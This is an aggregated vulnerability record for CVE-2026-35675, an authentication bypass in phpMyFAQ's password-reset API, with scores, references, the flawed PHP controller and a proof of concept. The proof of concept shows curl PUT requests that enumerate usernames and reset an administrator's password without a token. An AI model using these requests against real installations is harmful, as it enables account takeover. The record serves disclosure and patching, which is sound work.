CVE-2026-35675 (GCVE-0-2026-35675)

Vulnerability from cvelistv5 – Published: 2026-05-28 14:13 – Updated: 2026-05-29 13:34

Title

phpMyFAQ - Authentication Bypass via Missing Password Reset Token in /api/user/password/update

Summary

phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in the password reset endpoint that allows unauthenticated attackers to reset any user account password without token verification or email confirmation. Attackers can enumerate valid usernames, obtain plaintext passwords via email, and achieve complete account takeover including administrative access.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

8.8 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N

CWE

CWE-307 - Improper Restriction of Excessive Authentication Attempts

Assigner

VulnCheck

References

2 references

URL	Tags
https://github.com/thorsten/phpMyFAQ/security/adv…	third-party-advisory
https://www.vulncheck.com/advisories/phpmyfaq-aut…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
thorsten	phpMyFAQ	Affected: 0 , < 4.1.3 (semver) Unaffected: 4.1.3 (semver)

Date Public

2026-05-14 00:00

Credits

cyberHunter127

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-35675

Vulnerability from fkie_nvd - Published: 2026-05-28 16:16 - Updated: 2026-05-29 14:16

Severity

8.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Summary

References

	URL	Tags
	disclosure@vulncheck.com	https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w9xh-5f39-vq89
	disclosure@vulncheck.com	https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-missing-password-reset-token-in-api-user-password-update
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w9xh-5f39-vq89

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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GHSA-W9XH-5F39-VQ89

Vulnerability from github – Published: 2026-05-20 15:46 – Updated: 2026-05-28 14:20

Summary

phpMyFAQ: Missing Password Reset Token Allows Account Takeover via Username/Email Enumeration

Details

Summary

An authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php Lines: 56-130 The updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body:

[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]

public function updatePassword(Request $request): JsonResponse
{
    $data = json_decode($request->getContent());
    $username = trim((string) Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS));
    $email = trim((string) Filter::filterEmail($data->email));
    if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) {
        $user = ($this->currentUserFactory ?? CurrentUser::getCurrentUser(...))($this->configuration);
        $loginExist = $user->getUserByLogin($username);
        if ($loginExist && $email === $user->getUserData('email')) {
            // NO TOKEN CHECK
            // NO RATE LIMITING
            // NO EMAIL VERIFICATION
            $newPassword = $user->createPassword();
            $user->changePassword($newPassword);
            $mail->send(); // New password sent in plaintext
        }
    }
}

Root Causes:

No time-limited cryptographic token required for password reset
No rate limiting on the endpoint (allows unlimited username/email enumeration)
No verification email sent to original address before reset
New password sent in plaintext email without any confirmation step

PoC

Prerequisites: None (unauthenticated attack) Step 1 - Username/Email Enumeration (no rate limiting): Test with wrong email - reveals if user exists

curl -X PUT -H "Content-Type: application/json" \
  -d '{"username":"admin","email":"wrong@test.com"}' \
  http://target/phpmyfaq/api/user/password/update

Response: {"error":"The email doesn't exist..."} <- user exists but wrong email

Response: {"error":"The user doesn't exist"} <- user doesn't exist

Step 2 - Password Reset (no token required):

curl -X PUT -H "Content-Type: application/json" \
  -d '{"username":"admin","email":"admin@target.com"}' \
  http://target/phpmyfaq/api/user/password/update

Response: {"success":"Email has been sent."} The new plaintext password is sent to admin@target.com

Step 3 - Account Takeover: Attacker now has valid credentials and can log in as SuperAdmin.

Impact

Aspect Details Vulnerability Type Authentication Bypass / Weak Password Recovery Mechanism (CWE-640) Attack Vector Network (unauthenticated HTTP request) Privileges Required None User Interaction None Scope Full administrative access to phpMyFAQ Confidentiality High - attacker gains full access to all user data and FAQ content Integrity High - attacker can modify all content and settings Availability High - attacker can lock out legitimate users Who is Impacted: - All phpMyFAQ administrators using default installations - Any organization using phpMyFAQ for internal knowledge bases - End users whose accounts could be compromised - Organizations relying on phpMyFAQ for customer support FAQs Attack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-307",
      "CWE-359",
      "CWE-640"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-20T15:46:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.\n\n\n### Details\nFile: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php\nLines: 56-130\nThe updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body:\n#[Route(path: \u0027user/password/update\u0027, name: \u0027api.private.user.password\u0027, methods: [\u0027PUT\u0027])]\n```php\npublic function updatePassword(Request $request): JsonResponse\n{\n    $data = json_decode($request-\u003egetContent());\n    $username = trim((string) Filter::filterVar($data-\u003eusername, FILTER_SANITIZE_SPECIAL_CHARS));\n    $email = trim((string) Filter::filterEmail($data-\u003eemail));\n    if ($username !== \u0027\u0027 \u0026\u0026 $username !== \u00270\u0027 \u0026\u0026 ($email !== \u0027\u0027 \u0026\u0026 $email !== \u00270\u0027)) {\n        $user = ($this-\u003ecurrentUserFactory ?? CurrentUser::getCurrentUser(...))($this-\u003econfiguration);\n        $loginExist = $user-\u003egetUserByLogin($username);\n        if ($loginExist \u0026\u0026 $email === $user-\u003egetUserData(\u0027email\u0027)) {\n            // NO TOKEN CHECK\n            // NO RATE LIMITING\n            // NO EMAIL VERIFICATION\n            $newPassword = $user-\u003ecreatePassword();\n            $user-\u003echangePassword($newPassword);\n            $mail-\u003esend(); // New password sent in plaintext\n        }\n    }\n}\n\n\n```\n\n### Root Causes:\n1. No time-limited cryptographic token required for password reset\n2. No rate limiting on the endpoint (allows unlimited username/email enumeration)\n3. No verification email sent to original address before reset\n4. New password sent in plaintext email without any confirmation step\n\n\n### PoC\nPrerequisites: None (unauthenticated attack)\nStep 1 - Username/Email Enumeration (no rate limiting):\nTest with wrong email - reveals if user exists\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"admin\",\"email\":\"wrong@test.com\"}\u0027 \\\n  http://target/phpmyfaq/api/user/password/update\n```\nResponse: {\"error\":\"The email doesn\u0027t exist...\"}  \u003c- user exists but wrong email\n\nOR\n\nResponse: {\"error\":\"The user doesn\u0027t exist\"}     \u003c- user doesn\u0027t exist\n\nStep 2 - Password Reset (no token required):\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"admin\",\"email\":\"admin@target.com\"}\u0027 \\\n  http://target/phpmyfaq/api/user/password/update\n```\n\nResponse: {\"success\":\"Email has been sent.\"}\nThe new plaintext password is sent to admin@target.com\n\nStep 3 - Account Takeover:\nAttacker now has valid credentials and can log in as SuperAdmin.\n\n\n\n### Impact\nAspect\tDetails\nVulnerability Type\tAuthentication Bypass / Weak Password Recovery Mechanism (CWE-640)\nAttack Vector\tNetwork (unauthenticated HTTP request)\nPrivileges Required\tNone\nUser Interaction\tNone\nScope\tFull administrative access to phpMyFAQ\nConfidentiality\tHigh - attacker gains full access to all user data and FAQ content\nIntegrity\tHigh - attacker can modify all content and settings\nAvailability\tHigh - attacker can lock out legitimate users\nWho is Impacted:\n- All phpMyFAQ administrators using default installations\n- Any organization using phpMyFAQ for internal knowledge bases\n- End users whose accounts could be compromised\n- Organizations relying on phpMyFAQ for customer support FAQs\nAttack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address",
  "id": "GHSA-w9xh-5f39-vq89",
  "modified": "2026-05-28T14:20:34Z",
  "published": "2026-05-20T15:46:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w9xh-5f39-vq89"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ: Missing Password Reset Token Allows Account Takeover via Username/Email Enumeration"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-35675 (GCVE-0-2026-35675)

FKIE_CVE-2026-35675

GHSA-W9XH-5F39-VQ89

Summary

Details

[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]

Root Causes:

PoC

Impact

Tags

Sightings

Nomenclature